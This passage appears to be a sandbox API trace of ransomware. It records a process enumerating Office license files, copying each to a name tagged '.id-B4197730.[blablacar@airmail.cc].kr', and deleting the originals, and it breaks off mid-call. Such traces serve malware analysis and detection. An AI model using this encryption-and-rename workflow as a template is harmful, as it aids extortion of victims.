lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString=".bz2") returned 4 [0202.263] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.263] lstrlenW (lpString=".7z") returned 3 [0202.263] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.263] lstrlenW (lpString=".dbf") returned 4 [0202.264] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.264] lstrlenW (lpString=".1cd") returned 4 [0202.264] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.264] lstrlenW (lpString=".jpg") returned 4 [0202.264] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.264] lstrlenW (lpString=".doc") returned 4 [0202.264] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString=".docx") returned 5 [0202.264] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.264] lstrlenW (lpString=".pdf") returned 4 [0202.264] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString=".xls") returned 4 [0202.264] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString=".xlsx") returned 5 [0202.264] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.264] lstrlenW (lpString=".ppt") returned 4 [0202.264] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.264] lstrlenW (lpString=".zip") returned 4 [0202.264] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString=".rar") returned 4 [0202.264] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString=".bz2") returned 4 [0202.264] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.264] lstrlenW (lpString=".7z") returned 3 [0202.264] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.264] lstrlenW (lpString=".dbf") returned 4 [0202.264] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.265] lstrlenW (lpString=".1cd") returned 4 [0202.265] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0202.265] lstrlenW (lpString=".jpg") returned 4 [0202.265] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.265] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.265] lstrlenW (lpString="O365HomePremR_Grace-ppd.xrm-ms") returned 30 [0202.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.266] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=23068) returned 1 [0202.266] CloseHandle (hObject=0x548) returned 1 [0202.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220 [0202.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.267] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.267] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.268] GetLastError () returned 0x0 [0202.268] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5a1c, lpOverlapped=0x0) returned 1 [0202.271] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5a20, lpOverlapped=0x0) returned 1 [0202.272] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.272] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0202.272] SetEndOfFile (hFile=0x554) returned 1 [0202.272] CloseHandle (hObject=0x554) returned 1 [0202.272] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.272] SetEndOfFile (hFile=0x548) returned 1 [0202.275] CloseHandle (hObject=0x548) returned 1 [0202.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1 [0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.276] lstrlenW (lpString=".doc") returned 4 [0202.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.276] lstrlenW (lpString=".docx") returned 5 [0202.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.276] lstrlenW (lpString=".pdf") returned 4 [0202.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.276] lstrlenW (lpString=".xls") returned 4 [0202.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.276] lstrlenW (lpString=".xlsx") returned 5 [0202.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.277] lstrlenW (lpString=".ppt") returned 4 [0202.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.277] lstrlenW (lpString=".zip") returned 4 [0202.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString=".rar") returned 4 [0202.277] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString=".bz2") returned 4 [0202.277] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString=".7z") returned 3 [0202.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.277] lstrlenW (lpString=".dbf") returned 4 [0202.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.277] lstrlenW (lpString=".1cd") returned 4 [0202.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.277] lstrlenW (lpString=".jpg") returned 4 [0202.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.277] lstrlenW (lpString=".doc") returned 4 [0202.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString=".docx") returned 5 [0202.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.277] lstrlenW (lpString=".pdf") returned 4 [0202.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString=".xls") returned 4 [0202.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.277] lstrlenW (lpString=".xlsx") returned 5 [0202.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.277] lstrlenW (lpString=".ppt") returned 4 [0202.278] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.278] lstrlenW (lpString=".zip") returned 4 [0202.278] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.278] lstrlenW (lpString=".rar") returned 4 [0202.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.278] lstrlenW (lpString=".bz2") returned 4 [0202.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.278] lstrlenW (lpString=".7z") returned 3 [0202.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.278] lstrlenW (lpString=".dbf") returned 4 [0202.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.278] lstrlenW (lpString=".1cd") returned 4 [0202.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0202.278] lstrlenW (lpString=".jpg") returned 4 [0202.278] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.278] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.278] lstrlenW (lpString="O365HomePremR_Grace-ul-oob.xrm-ms") returned 33 [0202.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.279] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11624) returned 1 [0202.279] CloseHandle (hObject=0x548) returned 1 [0202.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220 [0202.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.280] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.280] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.281] GetLastError () returned 0x0 [0202.281] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d68, lpOverlapped=0x0) returned 1 [0202.282] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.283] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.284] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0202.284] SetEndOfFile (hFile=0x554) returned 1 [0202.284] CloseHandle (hObject=0x554) returned 1 [0202.284] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.284] SetEndOfFile (hFile=0x548) returned 1 [0202.287] CloseHandle (hObject=0x548) returned 1 [0202.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1 [0202.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.288] lstrlenW (lpString=".doc") returned 4 [0202.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString=".docx") returned 5 [0202.289] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.289] lstrlenW (lpString=".pdf") returned 4 [0202.289] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString=".xls") returned 4 [0202.289] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString=".xlsx") returned 5 [0202.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.289] lstrlenW (lpString=".ppt") returned 4 [0202.289] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.289] lstrlenW (lpString=".zip") returned 4 [0202.289] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString=".rar") returned 4 [0202.289] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString=".bz2") returned 4 [0202.289] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString=".7z") returned 3 [0202.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.289] lstrlenW (lpString=".dbf") returned 4 [0202.289] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.289] lstrlenW (lpString=".1cd") returned 4 [0202.289] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.289] lstrlenW (lpString=".jpg") returned 4 [0202.289] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.289] lstrlenW (lpString=".doc") returned 4 [0202.289] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString=".docx") returned 5 [0202.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.290] lstrlenW (lpString=".pdf") returned 4 [0202.290] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString=".xls") returned 4 [0202.290] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString=".xlsx") returned 5 [0202.290] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.290] lstrlenW (lpString=".ppt") returned 4 [0202.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.290] lstrlenW (lpString=".zip") returned 4 [0202.290] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString=".rar") returned 4 [0202.290] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString=".bz2") returned 4 [0202.290] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString=".7z") returned 3 [0202.290] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.290] lstrlenW (lpString=".dbf") returned 4 [0202.290] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.290] lstrlenW (lpString=".1cd") returned 4 [0202.290] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0202.290] lstrlenW (lpString=".jpg") returned 4 [0202.290] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.290] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.291] lstrlenW (lpString="O365HomePremR_Subscription1-pl.xrm-ms") returned 37 [0202.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.291] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11199) returned 1 [0202.291] CloseHandle (hObject=0x548) returned 1 [0202.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220 [0202.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.292] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.292] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.293] GetLastError () returned 0x0 [0202.293] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0202.534] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0202.535] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.535] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0202.535] SetEndOfFile (hFile=0x554) returned 1 [0202.535] CloseHandle (hObject=0x554) returned 1 [0202.535] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.535] SetEndOfFile (hFile=0x548) returned 1 [0202.538] CloseHandle (hObject=0x548) returned 1 [0202.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1 [0202.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.539] lstrlenW (lpString=".doc") returned 4 [0202.539] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.539] lstrlenW (lpString=".docx") returned 5 [0202.539] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.539] lstrlenW (lpString=".pdf") returned 4 [0202.539] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.539] lstrlenW (lpString=".xls") returned 4 [0202.539] lstrcmpiW 